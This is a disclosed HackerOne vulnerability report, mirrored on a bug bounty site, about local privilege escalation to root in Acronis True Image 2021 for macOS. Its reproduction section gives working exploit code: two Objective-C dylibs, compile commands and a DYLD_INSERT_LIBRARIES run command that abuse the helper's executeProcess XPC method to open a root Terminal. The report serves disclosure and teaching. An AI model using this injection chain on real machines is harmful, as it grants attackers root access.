Skip to content
Access control Disclosed report Advanced

True Image 2021 - LPE via XPC service communication

The privileged helper tool only checked the code signature of the client, not its version, so an attacker could use an older, vulnerable version of the app to inject code and communicate with the 2021 XPC service. This allowed local privilege escalation to root.

Csaba Fitzl Follow

Originally disclosed on HackerOne

Bounty$250 Medium 6.4 View original
  • Triaged in 31 hours
  • Fixed in 3 months
  • Paid in 32 hours
  • Disclosed after 6 months

Summary

This is a follow up of #908152. The bug reported there wasn't fixed properly, and as you don't see it, I consider this as new. In the good faith that you will not close this as duplicate submitting this. Also hoping for a bit more bounty than the 200$... The privilege helper tool only validates the code signature of the client, but not the version. This allows someone to use the old version of True Image, 2020, which is vulnerable to injection. Injecting code into the 2020 version allows to talk to the 2021 version XPC service, which will allow LPE.

Steps To Reproduce

Get the old version of the app and place it into /Users/Shared/. The 2021 version is at /Applications/.

This is a sample dylib code that can be injected into 2020 version, and talk to the XPC service of 2021.

The priv helper will verify the code signature of the executable to run, we need to provide it with with an Acronis image (this might be vulnerable to race condition as well, TOCTOU issue - we could swap the binary between being verified and executed). Since we can specify environment variables, we can add a DYLD_INSERT_LIBRARIES variable to inject a dylib into an old version of the app, which will satisfy the code signing reqs, and we can also inject code into it.

#import <Foundation/Foundation.h>

static NSString* XPCHelperMachServiceName = @"com.acronis.trueimagehelper";

@protocol HelperToolProtocol
- (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 environment:(NSDictionary *)arg3 caller:(int)arg4 withReply:(void (^)(int))arg5;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4;
- (void)getProcessIdentifierWithReply:(void (^)(int))arg1;
@end

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {

     
         NSString*  service_name = XPCHelperMachServiceName;

         NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];

         NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];

         [connection setRemoteObjectInterface:interface];

         [connection resume];

         id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
         {
             NSLog(@"[-] Something went wrong");
             NSLog(@"[-] Error: %@", error);
         }];

         NSLog(@"obj: %@", obj);
         NSLog(@"conn: %@", connection);

    NSString* proc = @"/Users/Shared/Acronis True Image.app/Contents/MacOS/backup_worker";
    NSArray* args = [NSArray arrayWithObjects:@"/Library/hello.txt", nil];
    NSDictionary* env = @{@"DYLD_INSERT_LIBRARIES":@"/Users/Shared/env.dylib"};

    [obj executeProcess:proc arguments:args environment:env caller:1 withReply:^(int i){
            NSLog(@"Response, %d", i);
                 }];
         NSLog(@"Done");
}

Compile:

gcc -dynamiclib -framework Foundation acronis.m -o acronis.dylib

We need another dylib taht we inject into the executable which we run. Its code is:

#include <stdlib.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
	system("/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal");
}

Compile:

gcc -dynamiclib -framework Foundation env.m -o env.dylib

Run:

DYLD_INSERT_LIBRARIES=acronis.dylib /Users/Shared/Acronis\ True\ Image.app/Contents/MacOS/Acronis\ True\ Image

Once we run it, we will have a Terminal popup as root.

Impact

Local Privilege Escalation

Recommendations

Verify the version of the client, like here: https://github.com/objective-see/LuLu/blob/10e7f719caf0b618b99fceef1a366617662d3b25/launchDaemon/launchDaemon/XPCListener.m requirementStringHelper = [NSString stringWithFormat:@"anchor trusted and identifier "%@" and certificate leaf [subject.CN] = "%@" and info [CFBundleShortVersionString] >= "1.2.0"", HELPER_ID, SIGNING_AUTH];

Impact

LPE

The original report as published on HackerOne, by theevilbit. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Local privilege escalation to root.

What the attacker needed

Local access to the machine; ability to place files in /Users/Shared/

The fix

The helper should verify the client's version in addition to its code signature.

How it was found

  1. Place the old version of the app in /Users/Shared/.
  2. Compile a dylib that connects to the XPC service and calls executeProcess with environment variables.
  3. Compile a second dylib that opens Terminal.
  4. Run the old app with DYLD_INSERT_LIBRARIES pointing to the first dylib.
  5. The helper executes the old app's binary with the second dylib injected, resulting in a root Terminal.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A helper program running with high privileges trusted any app signed by the same company, even an old version with a known flaw. By injecting code into that old version, an attacker could make the helper run commands as root.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by Csaba Fitzl

View all

2 more disclosed reports, best first.

More from Acronis

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.